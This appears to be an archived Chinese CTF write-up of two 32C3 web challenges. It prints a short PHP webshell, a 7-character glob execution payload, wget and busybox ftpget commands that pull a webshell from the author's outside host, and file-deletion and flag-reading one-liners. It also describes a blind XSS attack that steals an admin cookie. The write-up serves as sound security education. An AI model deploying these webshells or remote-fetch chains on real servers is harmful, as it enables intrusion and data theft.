forked from Trietptm-on-Security/WooYun-2
-
Notifications
You must be signed in to change notification settings - Fork 7
/
32C3 CTF 两个Web题目的Writeup.html
134 lines (80 loc) · 115 KB
/
32C3 CTF 两个Web题目的Writeup.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
<html>
<head>
<title>32C3 CTF 两个Web题目的Writeup - 一个狗</title>
<meta http-equiv="content-type" content="text/html; charset=UTF-8">
</head>
<body>
<h1>原文地址:<a href="http://drops.wooyun.org/papers/11718">http://drops.wooyun.org/papers/11718</a></h1>
<p>
<h1>0x00 简介</h1>
<hr />
<p>作为一个销售狗,还能做得动Web题,十分开心。 这次搞了两个题目,一个是TinyHosting,一个是Kummerkasten。</p>
<h1>0x01 TingHosting</h1>
<hr />
<blockquote>
<p>A new file hosting service for very small files. could you pwn it?<br />
http://136.243.194.53/</p>
</blockquote>
<p>可以首先在页面中发现一个隐藏的src参数,在URL里加上?src=1之后可以返回出页面的源代码。</p>
<!--more-->
<p><img src="http://static.wooyun.org//drops/20151231/2015123103245455324113.jpg" alt="p1" /></p>
<p>大概的意思就是说可以往服务器上传任意文件名的文件,不过每个文件的内容只有有7个字符那么长。</p>
<p>于是首先google了一下,最短的php webshell应该是14字符的这个:</p>
<pre><code>#!php
<?=`$_GET[1]`;
</code></pre>
<p>(PS:原文的该代码被转意过了,若有错误...见谅.</p>
<p>显然不够长啊。</p>
<p>后来脑洞了很多,想到了可爱的 <code>*</code> ,于是很重要的payload是:</p>
<pre><code>#!bash
z.php
</code></pre>
<p>内容为:</p>
<pre><code>#!php
<?=`*`;
</code></pre>
<p>刚好七个字符,不多不少,能把当前目录下的所有玩意按顺序执行一遍。</p>
<p>于是就要构造一些执行链了,一开始的想法是:</p>
<pre><code>#!bash
busybox ftpget two.dog w.php z.php
</code></pre>
<p>其中前4个文件内容随意,w.php是上面的关键payload,执行w.php后其内容被我服务器上的webshell覆盖,而获取webshell。</p>
<p>结果悲剧的发现<code>busybox ftpget</code>支持的host只能是ip,而不支持域名。</p>
<p>后来想通过wget来构造,利用了302跳转可以跨协议的特点。</p>
<pre><code>#!bash
wget wtf.two.dog z.php
</code></pre>
<p>前两个文件人意内容,z.php为重要payload,即可拿下webshell。</p>
<p>但仔细一看,这题会在每一个人的目录下创建一个<code>index.html</code>,于是执行链被破环没法工作。</p>
<p>于是使用bash来先干掉index.html</p>
<p>构造:</p>
<pre><code>#!bash
bash bb index.html z.php
</code></pre>
<p>其中bash内容随意,bb的内容为<code>rm ./*</code>不超过7个字符。然后再通过上面的方法即可获得一个webshell,然后在根目录发现一个flag。</p>
<p><img src="http://static.wooyun.org//drops/20151231/201512310324568324129.jpg" alt="p2" /></p>
<p>之后看了老外的做法真是简单好用,就利用bash、bb和z.php,bb的内容分别为<code>ls /</code>,<code>cat /f*</code>,简单直接0 0</p>
<h1>0x02 Kummerkasten</h1>
<hr />
<blockquote>
<p>Our Admin is a little sad this time of the year. Maybe you can cheer him up at this site http://136.243.194.46/<br />
Please note: This challenge does not follow the flag format.</p>
<p>Hints:<br />
To build the flag, concatenate both parts and omit '32C3_'</p>
</blockquote>
<p>进去之后只有一个提交留言的地方,四下看了看没发现别的东西,感觉和XSS会有关。</p>
<p>直接丢了一个盲打cookie的payload之后收到了回显:</p>
<p><img src="http://static.wooyun.org//drops/20151231/2015123103290586132311.jpg" alt="p3" /></p>
<p>访问过去是403,感觉需要用XSS来读一下页面的内容。</p>
<p>本来的思路是XSS里带上jQuery然后用jQuery操作,结果发现页面里面有,太方便了。</p>
<p>直接用ajax可以轻松读取页面并回传。</p>
<p>看到了 <code>/admin/bugs</code> 和 <code>/admin/token</code></p>
<p>根据页面中的信息来看,关键是要读两个png图片回来。</p>
<p>最后的payload如下:</p>
<p><img src="http://static.wooyun.org//drops/20151231/201512310329067742245.jpg" alt="p4" /></p>
<p>然后把两个图里的内容,一个mysql的password和一个6位数字拼起来就是FLAG咯。</p>
<h1>0x03 Other</h1>
<p>更多的writeup可以参考如下链接:</p>
<p><a href="https://github.com/ctfs/write-ups-2015/tree/master/32c3-ctf-2015/web">https://github.com/ctfs/write-ups-2015/tree/master/32c3-ctf-2015/web</a></p> </p>
</body>
</html>